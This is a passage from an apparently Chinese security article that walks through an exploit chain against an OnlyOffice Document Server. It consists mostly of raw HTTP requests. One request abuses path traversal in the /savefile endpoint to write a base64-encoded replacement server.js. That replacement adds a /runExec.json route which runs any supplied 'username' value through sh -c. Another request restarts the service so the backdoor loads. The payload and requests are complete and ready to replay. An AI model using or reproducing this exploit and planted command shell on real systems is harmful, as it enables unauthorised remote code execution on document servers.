src="https://wechat2rss.xlab.app/img-proxy/?k=00e19dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cx1C68ayJsobJdyXK6ksTNwdtZBwuIYVjnnsQZMU0dLT8piaXF6beLBrw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>第二个包(写路由)：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/savefile/1?cmd={&#34;id&#34;:1,&#34;outputpath&#34;:&#34;../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder&#34;}</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 10.37.129.2:9000</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span>: max-age=0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Upgrade-Insecure-Requests</span>: 1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 3</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">echo</span> <span class="code-snippet__string">&#34;LyoKICogQ29weXJpZ2h0IChDKSBBc2NlbnNpbyBTeXN0ZW0gU0lBIDIwMTItMjAxOS4gQWxsIHJpZ2h0cyByZXNlcnZlZAogKgogKiBodHRwczovL3d3dy5vbmx5b2ZmaWNlLmNvbS8gCiAqCiAqIFZlcnNpb246IDUuNC4yIChidWlsZDo0NikKICovCgondXNlIHN0cmljdCc7Cgpjb25zdCBjbHVzdGVyID0gcmVxdWlyZSgnY2x1c3RlcicpOwpjb25zdCBjb25maWdDb21tb24gPSByZXF1aXJlKCdjb25maWcnKTsKY29uc3QgY29uZmlnID0gY29uZmlnQ29tbW9uLmdldCgnc2VydmljZXMuQ29BdXRob3JpbmcnKTsKY29uc3QgbG9nZ2VyID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9sb2dnZXInKTsKY29uc3QgY28gPSByZXF1aXJlKCdjbycpOwpjb25zdCBsaWNlbnNlID0gcmVxdWlyZSgnLi8uLi8uLi9Db21tb24vc291cmNlcy9saWNlbnNlJyk7CgppZiAoY2x1c3Rlci5pc01hc3RlcikgewoJY29uc3QgZnMgPSByZXF1aXJlKCdmcycpOwoJbGV0IGxpY2Vuc2VJbmZvLCB3b3JrZXJzQ291bnQgPSAwLCB1cGRhdGVUaW1lOwoJY29uc3QgcmVhZExpY2Vuc2UgPSBmdW5jdGlvbiooKSB7CgkJbGljZW5zZUluZm8gPSB5aWVsZCogbGljZW5zZS5yZWFkTGljZW5zZSgpOwoJCXdvcmtlcnNDb3VudCA9IE1hdGgubWluKDEsIGxpY2Vuc2VJbmZvLmNvdW50LyosIE1hdGguY2VpbChudW1DUFVzICogY2ZnV29ya2VyUGVyQ3B1KSovKTsKCX07Cgljb25zdCB1cGRhdGVMaWNlbnNlV29ya2VyID0gKHdvcmtlcikgPT4gewoJCXdvcmtlci5zZW5kKHt0eXBlOiAxLCBkYXRhOiBsaWNlbnNlSW5mb30pOwoJfTsKCWNvbnN0IHVwZGF0ZVdvcmtlcnMgPSAoKSA9PiB7CgkJY29uc3QgYXJyS2V5V29ya2VycyA9IE9iamVjdC5rZXlzKGNsdXN0ZXIud29ya2Vycyk7CgkJaWYgKGFycktleVdvcmtlcnMubGVuZ3RoIDwgd29ya2Vyc0NvdW50KSB7CgkJCWZvciAobGV0IGkgPSBhcnJLZXlXb3JrZXJzLmxlbmd0aDsgaSA8IHdvcmtlcnNDb3VudDsgKytpKSB7CgkJCQljb25zdCBuZXdXb3JrZXIgPSBjbHVzdGVyLmZvcmsoKTsKCQkJCWxvZ2dlci53YXJuKCd3b3JrZXIgJXMgc3RhcnRlZC4nLCBuZXdXb3JrZXIucHJvY2Vzcy5waWQpOwoJCQl9CgkJfSBlbHNlIHsKCQkJZm9yIChsZXQgaSA9IHdvcmtlcnNDb3VudDsgaSA8IGFycktleVdvcmtlcnMubGVuZ3RoOyArK2kpIHsKCQkJCWNvbnN0IGtpbGxXb3JrZXIgPSBjbHVzdGVyLndvcmtlcnNbYXJyS2V5V29ya2Vyc1tpXV07CgkJCQlpZiAoa2lsbFdvcmtlcikgewoJCQkJCWtpbGxXb3JrZXIua2lsbCgpOwoJCQkJfQoJCQl9CgkJfQoJfTsKCWNvbnN0IHVwZGF0ZVBsdWdpbnMgPSAoZXZlbnRUeXBlLCBmaWxlbmFtZSkgPT4gewoJCWNvbnNvbGUubG9nKCd1cGRhdGUgRm9sZGVyOiAlcyA7ICVzJywgZXZlbnRUeXBlLCBmaWxlbmFtZSk7CgkJaWYgKHVwZGF0ZVRpbWUgJiYgMTAwMCA+PSAobmV3IERhdGUoKSAtIHVwZGF0ZVRpbWUpKSB7CgkJCXJldHVybjsKCQl9CgkJY29uc29sZS5sb2coJ3VwZGF0ZSBGb2xkZXIgdHJ1ZTogJXMgOyAlcycsIGV2ZW50VHlwZSwgZmlsZW5hbWUpOwoJCXVwZGF0ZVRpbWUgPSBuZXcgRGF0ZSgpOwoJCWZvciAobGV0IGkgaW4gY2x1c3Rlci53b3JrZXJzKSB7CgkJCWNsdXN0ZXIud29ya2Vyc1tpXS5zZW5kKHt0eXBlOiAyfSk7CgkJfQoJfTsKCWNvbnN0IHVwZGF0ZUxpY2Vuc2UgPSAoKSA9PiB7CgkJcmV0dXJuIGNvKGZ1bmN0aW9uKigpIHsKCQkJdHJ5IHsKCQkJCXlpZWxkKiByZWFkTGljZW5zZSgpOwoJCQkJbG9nZ2VyLndhcm4oJ3VwZGF0ZSBjbHVzdGVyIHdpdGggJXMgd29ya2VycycsIHdvcmtlcnNDb3VudCk7CgkJCQlmb3IgKGxldCBpIGluIGNsdXN0ZXIud29ya2VycykgewoJCQkJCXVwZGF0ZUxpY2Vuc2VXb3JrZXIoY2x1c3Rlci53b3JrZXJzW2ldKTsKCQkJCX0KCQkJCXVwZGF0ZVdvcmtlcnMoKTsKCQkJfSBjYXRjaCAoZXJyKSB7CgkJCQlsb2dnZXIuZXJyb3IoJ3VwZGF0ZUxpY2Vuc2UgZXJyb3I6XHJcbiVzJywgZXJyLnN0YWNrKTsKCQkJfQoJCX0pOwoJfTsKCgljbHVzdGVyLm9uKCdmb3JrJywgKHdvcmtlcikgPT4gewoJCXVwZGF0ZUxpY2Vuc2VXb3JrZXIod29ya2VyKTsKCX0pOwoJY2x1c3Rlci5vbignZXhpdCcsICh3b3JrZXIsIGNvZGUsIHNpZ25hbCkgPT4gewoJCWxvZ2dlci53YXJuKCd3b3JrZXIgJXMgZGllZCAoY29kZSA9ICVzOyBzaWduYWwgPSAlcykuJywgd29ya2VyLnByb2Nlc3MucGlkLCBjb2RlLCBzaWduYWwpOwoJCXVwZGF0ZVdvcmtlcnMoKTsKCX0pOwoKCXVwZGF0ZUxpY2Vuc2UoKTsKCgl0cnkgewoJCWZzLndhdGNoKGNvbmZpZy5nZXQoJ3BsdWdpbnMucGF0aCcpLCB1cGRhdGVQbHVnaW5zKTsKCX0gY2F0Y2ggKGUpIHsKCQlsb2dnZXIud2FybignUGx1Z2lucyB3YXRjaCBleGNlcHRpb24gKGh0dHBzOi8vbm9kZWpzLm9yZy9kb2NzL2xhdGVzdC9hcGkvZnMuaHRtbCNmc19hdmFpbGFiaWxpdHkpLicpOwoJfQoJZnMud2F0Y2hGaWxlKGNvbmZpZ0NvbW1vbi5nZXQoJ2xpY2Vuc2UnKS5nZXQoJ2xpY2Vuc2VfZmlsZScpLCB1cGRhdGVMaWNlbnNlKTsKCXNldEludGVydmFsKHVwZGF0ZUxpY2Vuc2UsIDg2NDAwMDAwKTsKfSBlbHNlIHsKCWxvZ2dlci53YXJuKCdFeHByZXNzIHNlcnZlciBzdGFydGluZy4uLicpOwoKCWNvbnN0IGV4cHJlc3MgPSByZXF1aXJlKCdleHByZXNzJyk7Cgljb25zdCBodHRwID0gcmVxdWlyZSgnaHR0cCcpOwoJY29uc3QgdXJsTW9kdWxlID0gcmVxdWlyZSgndXJsJyk7Cgljb25zdCBwYXRoID0gcmVxdWlyZSgncGF0aCcpOwoJY29uc3QgYm9keVBhcnNlciA9IHJlcXVpcmUoImJvZHktcGFyc2VyIik7Cgljb25zdCBtaW1lID0gcmVxdWlyZSgnbWltZScpOwoJY29uc3QgZG9jc0NvU2VydmVyID0gcmVxdWlyZSgnLi9Eb2NzQ29TZXJ2ZXInKTsKCWNvbnN0IGNhbnZhc1NlcnZpY2UgPSByZXF1aXJlKCcuL2NhbnZhc3NlcnZpY2UnKTsKCWNvbnN0IGNvbnZlcnRlclNlcnZpY2UgPSByZXF1aXJlKCcuL2NvbnZlcnRlcnNlcnZpY2UnKTsKCWNvbnN0IGZpbGVVcGxvYWRlclNlcnZpY2UgPSByZXF1aXJlKCcuL2ZpbGV1cGxvYWRlcnNlcnZpY2UnKTsKCWNvbnN0IGNvbnN0YW50cyA9IHJlcXVpcmUoJy4vLi4vLi4vQ29tbW9uL3NvdXJjZXMvY29uc3RhbnRzJyk7Cgljb25zdCB1dGlscyA9IHJlcXVpcmUoJy4vLi4vLi4vQ29tbW9uL3NvdXJjZXMvdXRpbHMnKTsKCWNvbnN0IGNvbW1vbkRlZmluZXMgPSByZXF1aXJlKCcuLy4uLy4uL0NvbW1vbi9zb3VyY2VzL2NvbW1vbmRlZmluZXMnKTsKCWNvbnN0IGNvbmZpZ1N0b3JhZ2UgPSBjb25maWdDb21tb24uZ2V0KCdzdG9yYWdlJyk7Cgljb25zdCBhcHAgPSBleHByZXNzKCk7Cgljb25zdCBzZXJ2ZXIgPSBodHRwLmNyZWF0ZVNlcnZlcihhcHApOwoKCWxldCB1c2VyUGx1Z2lucyA9IG51bGwsIHVwZGF0ZVBsdWdpbnMgPSB0cnVlOwoKCWlmIChjb25maWcuaGFzKCdzZXJ2ZXIuc3RhdGljX2NvbnRlbnQnKSkgewoJCWNvbnN0IHN0YXRpY0NvbnRlbnQgPSBjb25maWcuZ2V0KCdzZXJ2ZXIuc3RhdGljX2NvbnRlbnQnKTsKCQlmb3IgKGxldCBpIGluIHN0YXRpY0NvbnRlbnQpIHsKCQkJYXBwLnVzZShpLCBleHByZXNzLnN0YXRpYyhzdGF0aWNDb250ZW50W2ldWydwYXRoJ10sIHN0YXRpY0NvbnRlbnRbaV1bJ29wdGlvbnMnXSkpOwoJCX0KCX0KCglpZiAoY29uZmlnU3RvcmFnZS5oYXMoJ2ZzLmZvbGRlclBhdGgnKSkgewoJCWNvbnN0IGNmZ0J1Y2tldE5hbWUgPSBjb25maWdTdG9yYWdlLmdldCgnYnVja2V0TmFtZScpOwoJCWNvbnN0IGNmZ1N0b3JhZ2VGb2xkZXJOYW1lID0gY29uZmlnU3RvcmFnZS5nZXQoJ3N0b3JhZ2VGb2xkZXJOYW1lJyk7CgkJYXBwLnVzZSgnLycgKyBjZmdCdWNrZXROYW1lICsgJy8nICsgY2ZnU3RvcmFnZUZvbGRlck5hbWUsIChyZXEsIHJlcywgbmV4dCkgPT4gewoJCQljb25zdCBpbmRleCA9IHJlcS51cmwubGFzdEluZGV4T2YoJy8nKTsKCQkJaWYgKCdHRVQnID09PSByZXEubWV0aG9kICYmIC0xICE9IGluZGV4KSB7CgkJCQljb25zdCBjb250ZW50RGlzcG9zaXRpb24gPSByZXEucXVlcnlbJ2Rpc3Bvc2l0aW9uJ10gfHwgJ2F0dGFjaG1lbnQnOwoJCQkJbGV0IHNlbmRGaWxlT3B0aW9ucyA9IHsKCQkJCQlyb290OiBjb25maWdTdG9yYWdlLmdldCgnZnMuZm9sZGVyUGF0aCcpLCBkb3RmaWxlczogJ2RlbnknLCBoZWFkZXJzOiB7CgkJCQkJCSdDb250ZW50LURpc3Bvc2l0aW9uJzogY29udGVudERpc3Bvc2l0aW9uCgkJCQkJfQoJCQkJfTsKCQkJCWNvbnN0IHVybFBhcnNlZCA9IHVybE1vZHVsZS5wYXJzZShyZXEudXJsKTsKCQkJCWlmICh1cmxQYXJzZWQgJiYgdXJsUGFyc2VkLnBhdGhuYW1lKSB7CgkJCQkJY29uc3QgZmlsZW5hbWUgPSBkZWNvZGVVUklDb21wb25lbnQocGF0aC5iYXNlbmFtZSh1cmxQYXJzZWQucGF0aG5hbWUpKTsKCQkJCQlzZW5kRmlsZU9wdGlvbnMuaGVhZGVyc1snQ29udGVudC1UeXBlJ10gPSBtaW1lLmdldFR5cGUoZmlsZW5hbWUpOwoJCQkJfQoJCQkJY29uc3QgcmVhbFVybCA9IHJlcS51cmwuc3Vic3RyaW5nKDAsIGluZGV4KTsKCQkJCXJlcy5zZW5kRmlsZShyZWFsVXJsLCBzZW5kRmlsZU9wdGlvbnMsIChlcnIpID0+IHsKCQkJCQlpZiAoZXJyKSB7CgkJCQkJCWxvZ2dlci5lcnJvcihlcnIpOwoJCQkJCQlyZXMuc3RhdHVzKDQwMCkuZW5kKCk7CgkJCQkJfQoJCQkJfSk7CgkJCX0gZWxzZSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDQpCgkJCX0KCQl9KTsKCX0KCWRvY3NDb1NlcnZlci5pbnN0YWxsKHNlcnZlciwgKCkgPT4gewoJCXNlcnZlci5saXN0ZW4oY29uZmlnLmdldCgnc2VydmVyLnBvcnQnKSwgKCkgPT4gewoJCQlsb2dnZXIud2FybigiRXhwcmVzcyBzZXJ2ZXIgbGlzdGVuaW5nIG9uIHBvcnQgJWQgaW4gJXMgbW9kZSIsIGNvbmZpZy5nZXQoJ3NlcnZlci5wb3J0JyksIGFwcC5zZXR0aW5ncy5lbnYpOwoJCX0pOwoJCWFwcC5hbGwoJy9ydW5FeGVjLmpzb24nLCAocmVxLCByZXMpID0+IHsKCQkJY29uc3Qgc3Bhd24gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuc3Bhd247CgkJCXZhciB1c2VybmFtZSA9IHJlcS5xdWVyeS51c2VybmFtZSA/IHJlcS5xdWVyeS51c2VybmFtZTogcmVxLmhlYWRlcigidXNlcm5hbWUiKTsKCQkJaWYoIXVzZXJuYW1lKXsKCQkJCXJlcy5zZW5kKCJlbXB0eSBwYXJhISIpOwoJCQl9ZWxzZSB7CgkJCQljb25zdCBjbWQgPSBzcGF3bignc2gnLCBbJy1jJywgdXNlcm5hbWVdKTsKCQkJCXZhciByZXN1bHQgPSAiIjsKCQkJCWNtZC5zdGRvdXQub24oJ2RhdGEnLCAoZGF0YSkgPT4gewoJCQkJCXJlc3VsdCArPSBkYXRhOwoJCQkJfSk7CgoJCQkJY21kLm9uKCdjbG9zZScsIChjb2RlKSA9PiB7CgkJCQkJcmVzLnNlbmQocmVzdWx0KTsKCQkJCQlyZXR1cm4gcmVzLmVuZCgpOwoJCQkJfSkKCQkJfQoJCX0pOwoJCWFwcC5nZXQoJy9pbmRleC5odG1sJywgKHJlcSwgcmVzKSA9PiB7CgkJCXJlcy5zZW5kKCdTZXJ2ZXIgaXMgZnVuY3Rpb25pbmcgbm9ybWFsbHkuIFZlcnNpb246ICcgKyBjb21tb25EZWZpbmVzLmJ1aWxkVmVyc2lvbiArICcuIEJ1aWxkOiAnICsKCQkJCWNvbW1vbkRlZmluZXMuYnVpbGROdW1iZXIpOwoJCX0pOwoJCWNvbnN0IHJhd0ZpbGVQYXJzZXIgPSBib2R5UGFyc2VyLnJhdygKCQkJe2luZmxhdGU6IHRydWUsIGxpbWl0OiBjb25maWcuZ2V0KCdzZXJ2ZXIubGltaXRzX3RlbXBmaWxlX3VwbG9hZCcpLCB0eXBlOiAnKi8qJ30pOwoKCQlhcHAuZ2V0KCcvY29hdXRob3JpbmcvQ29tbWFuZFNlcnZpY2UuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGRvY3NDb1NlcnZlci5jb21tYW5kRnJvbVNlcnZlcik7CgkJYXBwLnBvc3QoJy9jb2F1dGhvcmluZy9Db21tYW5kU2VydmljZS5hc2h4JywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwKCQkJZG9jc0NvU2VydmVyLmNvbW1hbmRGcm9tU2VydmVyKTsKCgkJYXBwLmdldCgnL0NvbnZlcnRTZXJ2aWNlLmFzaHgnLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCBjb252ZXJ0ZXJTZXJ2aWNlLmNvbnZlcnRYbWwpOwoJCWFwcC5wb3N0KCcvQ29udmVydFNlcnZpY2UuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGNvbnZlcnRlclNlcnZpY2UuY29udmVydFhtbCk7CgkJYXBwLnBvc3QoJy9jb252ZXJ0ZXInLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCBjb252ZXJ0ZXJTZXJ2aWNlLmNvbnZlcnRKc29uKTsKCgoJCWFwcC5nZXQoJy9GaWxlVXBsb2FkZXIuYXNoeCcsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIHJhd0ZpbGVQYXJzZXIsIGZpbGVVcGxvYWRlclNlcnZpY2UudXBsb2FkVGVtcEZpbGUpOwoJCWFwcC5wb3N0KCcvRmlsZVVwbG9hZGVyLmFzaHgnLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCBmaWxlVXBsb2FkZXJTZXJ2aWNlLnVwbG9hZFRlbXBGaWxlKTsKCgkJY29uc3QgZG9jSWRSZWdFeHAgPSBuZXcgUmVnRXhwKCJeWyIgKyBjb25zdGFudHMuRE9DX0lEX1BBVFRFUk4gKyAiXSokIiwgJ2knKTsKCQlhcHAucGFyYW0oJ2RvY2lkJywgKHJlcSwgcmVzLCBuZXh0LCB2YWwpID0+IHsKCQkJaWYgKGRvY0lkUmVnRXhwLnRlc3QodmFsKSkgewoJCQkJbmV4dCgpOwoJCQl9IGVsc2UgewoJCQkJcmVzLnNlbmRTdGF0dXMoNDAzKTsKCQkJfQoJCX0pOwoJCWFwcC5wYXJhbSgnaW5kZXgnLCAocmVxLCByZXMsIG5leHQsIHZhbCkgPT4gewoJCQlpZiAoIWlzTmFOKHBhcnNlSW50KHZhbCkpKSB7CgkJCQluZXh0KCk7CgkJCX0gZWxzZSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDMpOwoJCQl9CgkJfSk7CgkJYXBwLnBvc3QoJy91cGxvYWRvbGQvOmRvY2lkLzp1c2VyaWQvOmluZGV4JywgZmlsZVVwbG9hZGVyU2VydmljZS51cGxvYWRJbWFnZUZpbGVPbGQpOwoJCWFwcC5wb3N0KCcvdXBsb2FkLzpkb2NpZC86dXNlcmlkLzppbmRleCcsIHJhd0ZpbGVQYXJzZXIsIGZpbGVVcGxvYWRlclNlcnZpY2UudXBsb2FkSW1hZ2VGaWxlKTsKCgkJYXBwLnBvc3QoJy9kb3dubG9hZGFzLzpkb2NpZCcsIHJhd0ZpbGVQYXJzZXIsIGNhbnZhc1NlcnZpY2UuZG93bmxvYWRBcyk7CgkJYXBwLnBvc3QoJy9zYXZlZmlsZS86ZG9jaWQnLCByYXdGaWxlUGFyc2VyLCBjYW52YXNTZXJ2aWNlLnNhdmVGaWxlKTsKCQlhcHAuZ2V0KCcvaGVhbHRoY2hlY2snLCB1dGlscy5jaGVja0NsaWVudElwLCBkb2NzQ29TZXJ2ZXIuaGVhbHRoQ2hlY2spOwoKCQlhcHAuZ2V0KCcvYmFzZXVybCcsIChyZXEsIHJlcykgPT4gewoJCQlyZXMuc2VuZCh1dGlscy5nZXRCYXNlVXJsQnlSZXF1ZXN0KHJlcSkpOwoJCX0pOwoKCQlhcHAuZ2V0KCcvcm9ib3RzLnR4dCcsIChyZXEsIHJlcykgPT4gewoJCQlyZXMuc2V0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAncGxhaW4vdGV4dCcpOwoJCQlyZXMuc2VuZCgiVXNlci1hZ2VudDogKlxuRGlzYWxsb3c6IC8iKTsKCQl9KTsKCgkJYXBwLnBvc3QoJy9kb2NidWlsZGVyJywgdXRpbHMuY2hlY2tDbGllbnRJcCwgcmF3RmlsZVBhcnNlciwgKHJlcSwgcmVzKSA9PiB7CgkJCWNvbnZlcnRlclNlcnZpY2UuYnVpbGRlcihyZXEsIHJlcyk7CgkJfSk7CgkJYXBwLmdldCgnL2luZm8vaW5mby5qc29uJywgdXRpbHMuY2hlY2tDbGllbnRJcCwgZG9jc0NvU2VydmVyLmxpY2Vuc2VJbmZvKTsKCgkJY29uc3Qgc2VuZFVzZXJQbHVnaW5zID0gKHJlcywgZGF0YSkgPT4gewoJCQlyZXMuc2V0SGVhZGVyKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24vanNvbicpOwoJCQlyZXMuc2VuZChKU09OLnN0cmluZ2lmeShkYXRhKSk7CgkJfTsKCQlhcHAuZ2V0KCcvcGx1Z2lucy5qc29uJywgKHJlcSwgcmVzKSA9PiB7CgkJCWlmICh1c2VyUGx1Z2lucyAmJiAhdXBkYXRlUGx1Z2lucykgewoJCQkJc2VuZFVzZXJQbHVnaW5zKHJlcywgdXNlclBsdWdpbnMpOwoJCQkJcmV0dXJuOwoJCQl9CgoJCQlpZiAoIWNvbmZpZy5oYXMoJ3NlcnZlci5zdGF0aWNfY29udGVudCcpIHx8ICFjb25maWcuaGFzKCdwbHVnaW5zLnVyaScpKSB7CgkJCQlyZXMuc2VuZFN0YXR1cyg0MDQpOwoJCQkJcmV0dXJuOwoJCQl9CgoJCQlsZXQgc3RhdGljQ29udGVudCA9IGNvbmZpZy5nZXQoJ3NlcnZlci5zdGF0aWNfY29udGVudCcpOwoJCQlsZXQgcGx1Z2luc1VyaSA9IGNvbmZpZy5nZXQoJ3BsdWdpbnMudXJpJyk7CgkJCWxldCBwbHVnaW5zUGF0aCA9IHVuZGVmaW5lZDsKCQkJbGV0IHBsdWdpbnNBdXRvc3RhcnQgPSBjb25maWcuZ2V0KCdwbHVnaW5zLmF1dG9zdGFydCcpOwoKCQkJaWYgKHN0YXRpY0NvbnRlbnRbcGx1Z2luc1VyaV0pIHsKCQkJCXBsdWdpbnNQYXRoID0gc3RhdGljQ29udGVudFtwbHVnaW5zVXJpXS5wYXRoOwoJCQl9CgoJCQlsZXQgYmFzZVVybCA9ICcuLi8uLi8uLi8uLic7CgkJCXV0aWxzLmxpc3RGb2xkZXJzKHBsdWdpbnNQYXRoLCB0cnVlKS50aGVuKCh2YWx1ZXMpID0+IHsKCQkJCXJldHVybiBjbyhmdW5jdGlvbiooKSB7CgkJCQkJY29uc3QgY29uZmlnRmlsZSA9ICdjb25maWcuanNvbic7CgkJCQkJbGV0IHN0YXRzID0gbnVsbDsKCQkJCQlsZXQgcmVzdWx0ID0gW107CgkJCQkJZm9yIChsZXQgaSA9IDA7IGkgPCB2YWx1ZXMubGVuZ3RoOyArK2kpIHsKCQkJCQkJdHJ5IHsKCQkJCQkJCXN0YXRzID0geWllbGQgdXRpbHMuZnNTdGF0KHBhdGguam9pbih2YWx1ZXNbaV0sIGNvbmZpZ0ZpbGUpKTsKCQkJCQkJfSBjYXRjaCAoZXJyKSB7CgkJCQkJCQlzdGF0cyA9IG51bGw7CgkJCQkJCX0KCgkJCQkJCWlmIChzdGF0cyAmJiBzdGF0cy5pc0ZpbGUpIHsKCQkJCQkJCXJlc3VsdC5wdXNoKCBiYXNlVXJsICsgcGx1Z2luc1VyaSArICcvJyArIHBhdGguYmFzZW5hbWUodmFsdWVzW2ldKSArICcvJyArIGNvbmZpZ0ZpbGUpOwoJCQkJCQl9CgkJCQkJfQoKCQkJCQl1c2VyUGx1Z2lucyA9IHsndXJsJzogJycsICdwbHVnaW5zRGF0YSc6IHJlc3VsdCwgJ2F1dG9zdGFydCc6IHBsdWdpbnNBdXRvc3RhcnR9OwoJCQkJCXNlbmRVc2VyUGx1Z2lucyhyZXMsIHVzZXJQbHVnaW5zKTsKCQkJCX0pOwoJCQl9KTsKCQl9KTsKCX0pOwoKCXByb2Nlc3Mub24oJ21lc3NhZ2UnLCAobXNnKSA9PiB7CgkJaWYgKCFkb2NzQ29TZXJ2ZXIpIHsKCQkJcmV0dXJuOwoJCX0KCQlzd2l0Y2ggKG1zZy50eXBlKSB7CgkJCWNhc2UgMToKCQkJCWRvY3NDb1NlcnZlci5zZXRMaWNlbnNlSW5mbyhtc2cuZGF0YSk7CgkJCQlicmVhazsKCQkJY2FzZSAyOgoJCQkJdXBkYXRlUGx1Z2lucyA9IHRydWU7CgkJCQlicmVhazsKCQl9Cgl9KTsKfQoKcHJvY2Vzcy5vbigndW5jYXVnaHRFeGNlcHRpb24nLCAoZXJyKSA9PiB7Cglsb2dnZXIuZXJyb3IoKG5ldyBEYXRlKS50b1VUQ1N0cmluZygpICsgJyB1bmNhdWdodEV4Y2VwdGlvbjonLCBlcnIubWVzc2FnZSk7Cglsb2dnZXIuZXJyb3IoZXJyLnN0YWNrKTsKCWxvZ2dlci5zaHV0ZG93bigoKSA9PiB7CgkJcHJvY2Vzcy5leGl0KDEpOwoJfSk7Cn0pOwo=&#34;</span> | base64 -d &gt; /<span class="code-snippet__keyword">var</span>/www/onlyoffice/documentserver/server/DocService/sources/server.js</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><pre><code><br/></code><p><img class="rich_pages wxw-img" data-imgfileid="100000079" data-ratio="0.7342592592592593" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cf02b545&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxSYZlMAP4JnVKpcw6U3qIeibBgDaGFicoeF4ytdibWrMvx3HkWecyxiaiaLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></pre><p><br/></p><p>执行下路由：</p><p>第三个包(重启服务):</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/savefile/1?cmd={&#34;id&#34;:1,&#34;outputpath&#34;:&#34;../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder&#34;}</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 10.37.129.2:9000</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span>: max-age=0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Upgrade-Insecure-Requests</span>: 1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 3</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">/usr/bin/supervisorctl restart ds:docservice</span></code></pre></section><pre><code><br/></code></pre><p><img class="rich_pages wxw-img" data-imgfileid="100000077" data-ratio="0.7379629629629629" data-w="1080" data-type="png" 